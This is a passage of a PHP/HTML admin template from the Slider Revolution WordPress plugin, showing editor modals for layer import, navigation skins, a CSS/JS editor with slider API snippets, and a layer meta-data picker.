						<div class="mcg_footer_btns">
							<div class="mcg_page_minititle"><?php _e('Customization', 'revslider');?></div>
							<div class="mcg_page_pagination">4/4</div>
							<bluebutton class="minimal mcg_quit_page"><?php _e('Go to Editor', 'revslider');?></bluebutton>
						</div>			
					</div>-->

				</div>
			</div>
		</div>
	</div>
</div><!-- END OF QUICK GUIDE MODAL -->


<!--LAYER IMPORT/EXPORT MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_layerimport">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_layerimport" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">import_export</i><span class="rbm_title"><?php _e('Layer Import', 'revslider');?></span><i class="rbm_close material-icons">close</i></div>
				<div class="rbm_content">
					<!-- THE LEFT SIDE OF THE AWESOME MODAL WINDOW -->
					<div id="rbm_layerimport_list">
					</div>
					<div id="rbm_layerimport_buttonwrap">
						<div id="layers_import_feedback"></div>
						<div id="layers_import_from_slides_button" class="basic_action_button autosize rightbutton layerinput"><i class="material-icons">import_export</i><?php _e('Import Selected Layers', 'revslider');?></div>
					</div>
				</div>
			</div>
		</div>
	</div>
</div><!-- END OF LAYER IMPORT/EXPORT MODAL -->


<!-- NAVIGATION EDITOR -->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_navigation_editor">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_navigation_editor" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">games</i><span class="rbm_title"><?php _e('Navigation Editor', 'revslider');?></span><i class="rbm_close material-icons">close</i></div>
				<div class="rbm_content">
					<div id="save_naveditor"><i class="material-icons">save</i><?php _e('Save Navigation', 'revslider');?></div>
					<div id="rs_ne_left_wrap">
						<div id="rs_ne_selector_arrows" class="rs_ne_selector selected" data-type="arrows"><i class="material-icons">swap_horiz</i><?php _e('Arrows', 'revslider');?></div><!--
						--><div id="rs_ne_selector_bullets" class="rs_ne_selector" data-type="bullets"><i class="material-icons">more_horiz</i><?php _e('Bullets', 'revslider');?></div><!--
						--><div id="rs_ne_selector_tabs" class="rs_ne_selector" data-type="tabs"><i class="material-icons">view_column</i><?php _e('Tabs', 'revslider');?></div><!--
						--><div id="rs_ne_selector_thumbs" class="rs_ne_selector" data-type="thumbs"><i class="material-icons">filter_frames</i><?php _e('Thumbs', 'revslider');?></div>
						<div id="rs_ne_navlist_wrap">
							<div id="rs_ne_navlist">
								<div class="rs_ne_navlist_header"><?php _e('Factory Skins', 'revslider');?></div>
								<div class="rs_ne_list_wrapper"><div id="rs_ne_factory_list"></div></div>
								<div class="rs_ne_navlist_header"><?php _e('Custom', 'revslider');?></div>
								<div class="rs_ne_list_wrapper"><div id="rs_ne_custom_list"></div></div>
							</div>
							<div class="rs_ne_add_new_wrap"><div id="rs_ne_new_custom_nav" class="basic_action_button fullbutton"><i class="material-icons">add</i><?php _e('Add New Navigation ', 'revslider');?></div></div>
						</div>
					</div>

					<div id="rs_ne_right_wrap">
						<div id="rs_ne_preview_wrap">
								<!-- ARROWS -->
								<div id="rs_ne_arrows">
									<div id="rs_ne_tp-rightarrow" class="tp-rightarrow tparrows"></div>
									<div id="rs_ne_tp-leftarrow" class="tp-leftarrow tparrows"></div>
								</div>

								<!-- BULLETS -->
								<div id="rs_ne_bullets" class="tp-bullets">
								</div>

								<!-- TABS -->
								<div id="rs_ne_tabs" class="tp-tabs">
									<div id="rs_ne_tabs-mask" class="tp-tabs-mask">
										<div id="rs_ne_tabs-inner-wrapper" class="tp-tabs-inner-wrapper"></div>
									</div>
								</div>

								<!-- NAVIGATION THUMBS -->
								<div id="rs_ne_thumbs" class="tp-thumbs">
									<div id="rs_ne_thumbs-mask" class="tp-thumbs-mask">
										<div id="rs_ne_thumbs-inner-wrapper" class="tp-thumbs-inner-wrapper"></div>
									</div>
								</div>
						</div>
						<div id="rs_ne_ce_wrap">
							<div id="rs_ne_settings">
								<label_a style="width:auto"><?php _e('Class', 'revslider');?></label_a><input type="text" id="rs_ne_nav_classname"/>
								<label_icon class="ui_width" style="margin-left:15px;"></label_icon><input type="text" class="basicinput callEvent" data-evt="rsdimgapchange" data-evtparam="width" id="rs_ne_nav_width"/>
								<label_icon class="ui_height" style="margin-left:5px;"></label_icon><input type="text" class="basicinput callEvent" data-evt="rsdimgapchange" data-evtparam="height" id="rs_ne_nav_height"/>
								<label_icon class="ui_gap" style="margin-left:33px;"></label_icon><input type="text" value="5" class="basicinput callEvent" data-evt="rsdimgapchange" data-evtparam="space" id="rs_ne_nav_space"/>
								<div style="margin-left:11px" id="rs_ne_horizontaltest" data-evt="setrsnavtohorizontal" class="eventcaller basic_action_button onlyicon selected"><i class="material-icons">more_horiz</i></div><div id="rs_ne_verticaltest" data-evt="setrsnavtovertical" class="eventcaller basic_action_button onlyicon"><i class="material-icons">more_vert</i></div>
								<select style="display:none !important" id="rs_nav_test_position" data-unselect=".rs_nav_test_position_selector" data-select="#rs_nav_test_position_*val*" data-evt="setrsnavposition" data-show=".rs_nav_test_pos_*val*" data-hide=".rs_nav_test_pos" class="basicinput callEvent"><option value="left center"><?php _e('left center', 'revslider');?></option><option value="left bottom"><?php _e('left bottom', 'revslider');?></option><option value="left top"><?php _e('left top', 'revslider');?></option><option value="center top"><?php _e('center top', 'revslider');?></option><option value="center center"><?php _e('center center', 'revslider');?></option><option selected value="center bottom"><?php _e('center bottom', 'revslider');?></option><option value="right top"><?php _e('right top', 'revslider');?></option><option value="right center"><?php _e('right center', 'revslider');?></option><option value="right bottom"><?php _e('right bottom', 'revslider');?></option></select>
								<div class="bg_alignselector_wrap">
									<div class="bg_align_row">
										<div class="triggerselect rs_nav_test_position_selector bg_alignselector" data-select="#rs_nav_test_position" data-val="left top" id="rs_nav_test_position_left-top"></div>
										<div class="triggerselect rs_nav_test_position_selector bg_alignselector" data-select="#rs_nav_test_position" data-val="center top" id="rs_nav_test_position_center-top"></div>
										<div class="triggerselect rs_nav_test_position_selector bg_alignselector" data-select="#rs_nav_test_position" data-val="right top" id="rs_nav_test_position_right-top"></div>
									</div>
									<div class="bg_align_row">
										<div class="triggerselect rs_nav_test_position_selector bg_alignselector" data-select="#rs_nav_test_position" data-val="left center" id="rs_nav_test_position_left-center"></div>
										<div class="triggerselect rs_nav_test_position_selector bg_alignselector" data-select="#rs_nav_test_position" data-val="center center" id="rs_nav_test_position_center-center"></div>
										<div class="triggerselect rs_nav_test_position_selector bg_alignselector" data-select="#rs_nav_test_position" data-val="right center" id="rs_nav_test_position_right-center"></div>
									</div>
									<div class="bg_align_row">
										<div class="triggerselect rs_nav_test_position_selector bg_alignselector" data-select="#rs_nav_test_position" data-val="left bottom" id="rs_nav_test_position_left-bottom"></div>
										<div class="triggerselect rs_nav_test_position_selector bg_alignselector selected" data-select="#rs_nav_test_position" data-val="center bottom" id="rs_nav_test_position_center-bottom"></div>
										<div class="triggerselect rs_nav_test_position_selector bg_alignselector" data-select="#rs_nav_test_position" data-val="right bottom" id="rs_nav_test_position_right-bottom"></div>
									</div>
								</div>

							</div>
							<div id="rs_ne_markup_css_button_wrap"><div id="rs_ne_mcss_thecsseditor" data-mode="css" data-show="#rs_ne_css_meta" data-hide="#rs_ne_markup_meta" class="rs_ne_markup_css_button rsnmcb_right"><?php _e('CSS', 'revslider');?></div><div data-mode="markup" data-show="#rs_ne_markup_meta" data-hide="#rs_ne_css_meta" class="rs_ne_markup_css_button rsnmcb_left selected"><?php _e('Markup', 'revslider');?></div></div>
							<div id="rs_nav_css_js_area">
							</div>
						</div>
						<div id="rs_ne_helper_wrap">
							<div id="rs_ne_markup_meta">
								<div class="rs_ne_header"><?php _e('Markup Meta', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{title}}"><?php _e('Slide Title', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{description}}"><?php _e('Slide Description', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param1}}"><?php _e('Parameter 1', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param2}}"><?php _e('Parameter 2', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param3}}"><?php _e('Parameter 3', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param4}}"><?php _e('Parameter 4', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param5}}"><?php _e('Parameter 5', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param6}}"><?php _e('Parameter 6', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param7}}"><?php _e('Parameter 7', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param8}}"><?php _e('Parameter 8', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param9}}"><?php _e('Parameter 9', 'revslider');?></div>
								<div class="rs_ne_markup_meta_btn" data-insert="{{param10}}"><?php _e('Parameter 10', 'revslider');?></div>
							</div>
							<div id="rs_ne_css_meta">
								<div id="rs_ne_cssmeta_values">
									<div class="rs_ne_header"><?php _e('Meta Values', 'revslider');?></div>
									<div id="rs_ne_meta_values_inner"></div>
									<div class="rs_ne_add_new_wrap" style="padding-left:0px; padding-right:30px"><div id="add_new_placeholder" class="basic_action_button fullbutton"><i class="material-icons">add</i><?php _e('Add New Meta', 'revslider');?></div></div>
								</div>
								<div id="rs_ne_cssmeta_config">
									<div class="rs_ne_header"><?php _e('Meta Config', 'revslider');?></div>
									<label_a><?php _e('Type', 'revslider');?></label_a><select id="rs_ne_meta_type" data-show="#rs_ne_def_meta_*val*_val_wrap" data-hide=".rs_ne_def_meta_wrap" class="tos2 nosearchbox basicinput"><option value="color"><?php _e('Color', 'revslider');?></option></option><option selected value="custom"><?php _e('Custom', 'revslider');?></option><option value="font-family"><?php _e('Font Family', 'revslider');?></option><option value="icon"><?php _e('Icon', 'revslider');?></option></select><linebreak></linebreak>
									<div class="rs_ne_def_meta_wrap" id="rs_ne_def_meta_font-family_val_wrap"><label_a><?php _e('Default', 'revslider');?></label_a><select id="nav_fontfamily" class="basicinput searchbox tos2" data-evt="updateFontFamily"></select></div>
									<div class="rs_ne_def_meta_wrap" id="rs_ne_def_meta_custom_val_wrap"><label_a><?php _e('Default', 'revslider');?></label_a><input id="rs_ne_def_meta_custom_val" type="text" /></div>
									<div class="rs_ne_def_meta_wrap" id="rs_ne_def_meta_color_val_wrap"><label_a><?php _e('Default', 'revslider');?></label_a><input id="rs_ne_def_meta_color_val" type="text" class="my-color-field" data-visible="true" value="#ffffff" data-editing="Meta Color" data-mode="single" name="nav_meta_color" /></div>
									<div class="rs_ne_def_meta_wrap" id="rs_ne_def_meta_icon_val_wrap"><label_a><?php _e('Default', 'revslider');?></label_a><input id="rs_ne_def_meta_icon_val" type="text"/>
										<div id="rs_ne_icons">
											<div class="font_icon_subcontainer">
												<i class="rs_ne_pick rs_ne_icon_e817 revicon-left-dir" data-content="\e817"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e818 revicon-right-dir" data-content="\e818"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e819 revicon-left-open" data-content="\e819"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e81a revicon-right-open" data-content="\e81a"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e820 revicon-angle-left" data-content="\e820"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e81d revicon-angle-right" data-content="\e81d"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e81f revicon-left-big" data-content="\e81f"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e81e revicon-right-big" data-content="\e81e"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e82a revicon-left-open-1" data-content="\e82a"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e82b revicon-right-open-1" data-content="\e82b"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e822 revicon-left-open-mini" data-content="\e822"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e823 revicon-right-open-mini" data-content="\e823"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e824 revicon-left-open-big" data-content="\e824"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e825 revicon-right-open-big" data-content="\e825"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e836 revicon-left" data-content="\e836"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e826 revicon-right" data-content="\e826"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e82e revicon-left-open-outline" data-content="\e82e"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e82f revicon-right-open-outline" data-content="\e82f"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e82c revicon-left-open-2" data-content="\e82c"></i><!--
												--><i class="rs_ne_pick rs_ne_icon_e82d revicon-right-open-2" data-content="\e82d"></i>
											</div>
										</div>
									</div>
									<label_a><?php _e('Title', 'revslider');?></label_a><input placeholder="<?php _e('Can not be Empty', 'revslider');?>" id="rs_ne_def_meta_title" type="text" /><linebreak></linebreak>
									<label_a><?php _e('Handle', 'revslider');?></label_a><input placeholder="<?php _e('Can not be Empty', 'revslider');?>" id="rs_ne_def_meta_handle" type="text" /><linebreak></linebreak>
									<div class="rs_ne_add_new_wrap"><div data-evt="closenavmetavalue" class="eventcaller basic_action_button onlyicon autosize"><i class="material-icons">close</i></div><div id="update_nav_meta_value" data-evt="updatenavmetavalue" class="eventcaller basic_action_button onlyicon autosize"><i class="material-icons">done</i></div></div>
								</div>
							</div>
						</div>
					</div>
				</div>
			</div>
		</div>
	</div>
</div>



<!-- SLIDER API MODAL -->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_slider_api" data-centerineditor="true">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_slider_api" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">code</i><span class="rbm_title"><?php _e('CSS/JS Editor', 'revslider');?></span><div class="modal_header_functions"><div data-mode="css" class="selected js_css_editor_tabs"><?php _e('CUSTOM CSS', 'revslider');?></div><div data-mode="javascript" class="js_css_editor_tabs"><?php _e('CUSTOM JS', 'revslider');?></div></div></div>
				<div class="emc_toggle_wrap"><div class="emc_toggle_info">A<br>P<br>I</div><i id="emc_toggle" class="material-icons">keyboard_arrow_right</i><i class="rbm_close material-icons">close</i>
					<div class="emc_toggle_inner">
						<!-- MODULE API -->

							<div id="form_module_advanced_api"  data-select="#gst_sl_11" data-unselect=".general_submodule_trigger" class="formcontainer form_menu_inside collapsed">
								<!-- MODULE API INNER-->
								<div id="form_slidergeneral_advanced_api" class="form_inner">
									<div class="form_inner_header"><i class="material-icons">code</i><?php _e('Methods', 'revslider');?></div>
									<div class="collapsable" style="display:block !important">
										<label_a origtitle="<?php _e("Call this function to start the slider.", 'revslider');?>"><?php _e("Start Slider", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly  class="api-input withlabel" id="apiapi0" value="revapi.revstart();">
											<div class="basic_action_button insertineditor mini_action_button onlyicon buttonextension" data-insertfrom="#apiapi0"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Call this function to pause the slider.", 'revslider');?>"><?php _e("Pause Slider", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly  class="api-input withlabel" id="apiapi1" value="revapi.revpause();">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi1"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Call this function to play the slider if it is paused.", 'revslider');?>"><?php _e("Resume Slider", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly class="api-input withlabel" id="apiapi2" value="revapi.revresume();">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi2"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Switch slider to previous slide.", 'revslider');?>"><?php _e("Previous Slide", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly class="api-input withlabel" id="apiapi3" value="revapi.revprev();">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi3"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Switch slider to next slide.", 'revslider');?>"><?php _e("Next Slide", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly class="api-input withlabel" id="apiapi4" value="revapi.revnext();">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi4"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Scroll page under the slider.", 'revslider');?>"><?php _e("External Scroll", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly class="api-input withlabel" id="apiapi9" value="revapi.revscroll(offset);">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi9"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Remove One Slide with Slide Index from the Slider. Index starts with 0 which will remove the first slide.", 'revslider');?>"><?php _e("Remove Slide", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly  class="api-input withlabel" id="apiapi12" value="revapi.revremoveslide(slideindex);">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi12"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Switch to the slide which is defined as parameter.", 'revslider');?>"><?php _e("Go To Slide", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly class="api-input withlabel" id="apiapi5" value="revapi.revshowslide(2);">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi5"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Switch to the slide which is defined as parameter.", 'revslider');?>"><?php _e("Go To Slide with ID", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly class="api-input withlabel" id="apiapi15" value="revapi.revcallslidewithid('rs-1007');">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi15"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Get the amount of existing slides in the slider.", 'revslider');?>"><?php _e("Max Slides", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly class="api-input withlabel" id="apiapi6" value="revapi.revmaxslide();">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi6"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Get the current focused slide index.", 'revslider');?>"><?php _e("Current Slide", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly class="api-input withlabel" id="apiapi7" value="revapi.revcurrentslide();">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi7"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Get the previously played slide.", 'revslider');?>"><?php _e("Last Slide", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly class="api-input withlabel" id="apiapi8" value="revapi.revlastslide();">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi8"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Recalculate all positions, sizing etc in the slider.  This should be called i.e. if Slider was invisible and becomes visible without any window resize event.", 'revslider');?>"><?php _e("Redraw Slider", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly  class="api-input withlabel" id="apiapi10" value="revapi.revredraw();">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi10"><i class="material-icons">add</i></div>
										</div>

										<label_a origtitle="<?php _e("Unbind all listeners, remove current animations and delete containers. Ready for Garbage collection.", 'revslider');?>"><?php _e("Kill Slider", 'revslider')?></label_a><!--
										--><div class="input_with_buttonextenstion">
											<input type="text" readonly  class="api-input withlabel" id="apiapi11" value="revapi.revkill();">
											<div class="buttonextension basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apiapi11"><i class="material-icons">add</i></div>
										</div>
									</div>

								<!-- API EVENTS-->

									<div class="form_inner_header"><i class="material-icons">av_timer</i><?php _e('Events', 'revslider');?></div>
									<div class="collapsable" style="display:block !important">
										<label_full><?php _e("Slider Loaded", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent1"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent1" class="api_area" readonly style="height:50px">revapi.bind("revolution.slide.onloaded",function (e) {});</textarea>

										<label_full><?php _e("Slider swapped to an other slide", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent2"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent2"  class="api_area" readonly style="height:135px">revapi.bind("revolution.slide.onchange",function (e,data){&#013;   //data.slideIndex => <?php _e('Index of Current Slide', 'revslider');?>&#013;   //data.slideLIIndex => <?php _e('Current <li> Index', 'revslider');?>&#013;   //data.currentslide => <?php _e('Current Slide as jQuery Object', 'revslider');?>&#013;   //data.prevslide => <?php _e('Prev. Slide as jQuery Object', 'revslider');?>&#013;});</textarea>

										<label_full><?php _e("Slider paused", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent3"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent3"  class="api_area"  readonly style="height:85px">revapi.bind("revolution.slide.onpause",function (e,data) {&#013;   //<?php _e('Timer Paused', 'revslider');?>&#013;});</textarea>

										<label_full><?php _e("Slider is Playing after pause", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent4"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent4" class="api_area" readonly style="height:85px">revapi.bind("revolution.slide.onresume",function (e,data) {&#013;   //<?php _e('Timer Resumed', 'revslider');?>&#013;});</textarea>

										<label_full><?php _e("Video is playing in slider", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent5"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent5" class="api_area" readonly style="height:135px">revapi.bind("revolution.slide.onvideoplay",function (e,data) {&#013;  //<?php _e('Video is playing', 'revslider');?>&#013;  //data.video => <?php _e('Video API', 'revslider');?>&#013;   //data.videotype => <?php _e('youtube, vimeo, html5', 'revslider');?>&#013;   //data.settings => <?php _e('Video Settings', 'revslider');?>&#013;});</textarea>

										<label_full><?php _e("Video stopped in slider", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent6"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent6" class="api_area" readonly style="height:135px">revapi.bind("revolution.slide.onvideostop",function (e,data) {&#013;  //<?php _e('Video is stopped', 'revslider');?>&#013;  //data.video => <?php _e('Video API', 'revslider');?>&#013;   //data.videotype => <?php _e('youtube, vimeo, html5', 'revslider');?>&#013;   //data.settings => <?php _e('Video Settings', 'revslider');?>&#013;});</textarea>

										<label_full><?php _e("Slider reached the 'stop at' slide", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent7"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent7" class="api_area" readonly style="height:85px">revapi.bind("revolution.slide.onstop",function (e,data) {&#013;   //<?php _e('Slider Stopped', 'revslider');?>&#013;});</textarea>

										<label_full><?php _e("Prepared for slide change", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent8"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent8" class="api_area" readonly style="height:120px">revapi.bind("revolution.slide.onbeforeswap",function (e,data) {&#013;   //<?php _e('Slider Before Swap', 'revslider');?>&#013;   //data.currentslide => <?php _e('Current Slide as jQuery Object', 'revslider');?>&#013;   //data.nextslide => <?php _e('Coming Slide as jQuery Object', 'revslider');?>&#013;});</textarea>

										<label_full><?php _e("Finnished with slide change", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent9"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent9" class="api_area" readonly style="height:120px">revapi.bind("revolution.slide.onafterswap",function (e,data) {&#013;   //<?php _e('Slider After Swap', 'revslider');?>&#013;   //data.currentslide => <?php _e('Current Slide as jQuery Object', 'revslider');?>&#013;   //data.prevslide => <?php _e('Previous Slide as jQuery Object', 'revslider');?>&#013;});</textarea>

										<label_full><?php _e("Last slide starts", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent10"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent10" class="api_area" readonly style="height:65px">revapi.bind("revolution.slide.slideatend",function (e) {&#013;   //<?php _e('Last Slide Started, Slider is at the end', 'revslider');?>&#013;});</textarea>

										<label_full><?php _e("Layer Events", 'revslider')?></label_full><div class="basic_action_button insertineditor mini_action_button onlyicon" data-insertfrom="#apievent11"><i class="material-icons">add</i></div><span class="linebreak"></span>
										<textarea id="apievent11" class="api_area"  readonly style="height:150px">revapi.bind("revolution.slide.layeraction",function (e,data) {&#013;   //data.eventtype - <?php _e('Layer Action (enterstage, enteredstage, leavestage,leftstage)', 'revslider');?>&#013;   //data.layertype - <?php _e('Layer Type (image,video,html)', 'revslider');?>&#013;   //data.layersettings - <?php _e('Default Settings for Layer', 'revslider');?>&#013;   //data.layer - <?php _e('Layer as jQuery Object', 'revslider');?>&#013;});</textarea>
									</div><!-- COLLAPSED -->

							</div>
						</div><!-- END OF MODULE API -->
					</div>
				</div>
				<div class="rbm_content" id="rs_css_js_area"></div>
			</div>
		</div>
	</div>
</div>

<!--LAYER META MODAL-->
<div class="_TPRB_ rb-modal-wrapper" data-modal="rbm_layer_metas">
	<div class="rb-modal-inner">
		<div class="rb-modal-content">
			<div id="rbm_layer_metas" class="rb_modal form_inner">
				<div class="rbm_header"><i class="rbm_symbol material-icons">local_offer</i><span class="rbm_title"><?php _e('Meta Datas', 'revslider');?></span>
					<div id="mdl_group_wrap_menu"><!--
						--><div data-show="mdl_group_basic" class="mdl_group_wrap_menuitem selected"><?php _e('Basic', 'revslider');?></div><!--
						--><div data-show="mdl_group_post" class="mdl_group_wrap_menuitem"><?php _e('Post', 'revslider');?></div><!--
						--><div data-show="mdl_group_wc" class="mdl_group_wrap_menuitem"><?php _e('WooCommerce', 'revslider');?></div><!--
						--><div data-show="mdl_group_events" class="mdl_group_wrap_menuitem"><?php _e('Events', 'revslider');?></div><!--
						--><div data-show="mdl_group_social" class="mdl_group_wrap_menuitem"><?php _e('Social', 'revslider');?></div>
					</div>
					<i class="rbm_close material-icons">close</i>
				</div>
				<div class="rbm_content" id="meta_rbm_content">
					<div id="meta_datas_list">
						<div id="mdl_group_basic" class="mdl_group_wrap selected">
							<!-- Basics -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">copyright</i><?php _e('Basic Metas', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{current_slide_index}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">bookmark</i><?php _e("Current Slide Index", 'revslider');?></div><div class="mdl_right_content">{{current_slide_index}}</div><div class="mdl_placeholder_content"><?php _e('03', 'revslider');?></div></div>
								<div data-val="{{total_slide_count}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">bookmark</i><?php _e("Number of Slides in Module", 'revslider');?></div><div class="mdl_right_content">{{total_slide_count}}</div><div class="mdl_placeholder_content"><?php _e('21', 'revslider');?></div></div>
								<div data-val="{{current_page_link}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">bookmark</i><?php _e("Link to current page", 'revslider');?></div><div class="mdl_right_content">{{current_page_link}}</div><div class="mdl_placeholder_content"><?php _e('http://yoursite.com/page', 'revslider');?></div></div>
								<div data-val="{{home_url}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">bookmark</i><?php _e("Link to WP Home Page", 'revslider');?></div><div class="mdl_right_content">{{home_url}}</div><div class="mdl_placeholder_content"><?php _e('http://yoursite.com/home', 'revslider');?></div></div>
							</div>
						</div>

						<div id="mdl_group_post" class="mdl_group_wrap" data-title="<?php _e('Post', 'revslider');?>">
							<!-- POST BASICS META DATAS -->
							<div class="mdl_group">
								<div class="mdl_group_header"><i class="material-icons">description</i><?php _e('Post Basics', 'revslider');?><i class="material-icons accordiondrop">arrow_drop_down</i></div>
								<div data-val="{{id}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">description</i><?php _e("Post ID", 'revslider');?></div><div class="mdl_right_content">{{id}}</div><div class="mdl_placeholder_content"><?php _e('Post ID', 'revslider');?></div></div>
								<div data-val="{{meta:somemegatag}}" class="mdl_group_member"><div class="mdl_left_content"><i class="material-icons">description</i><?php _e("Any custom meta tag", 'revslider');?></div><div class="mdl_right_content">{{meta:somemegatag}}</div><div class="mdl_placeholder_content"><?php _e('Custom Meta', 'revslider');?></div></div>
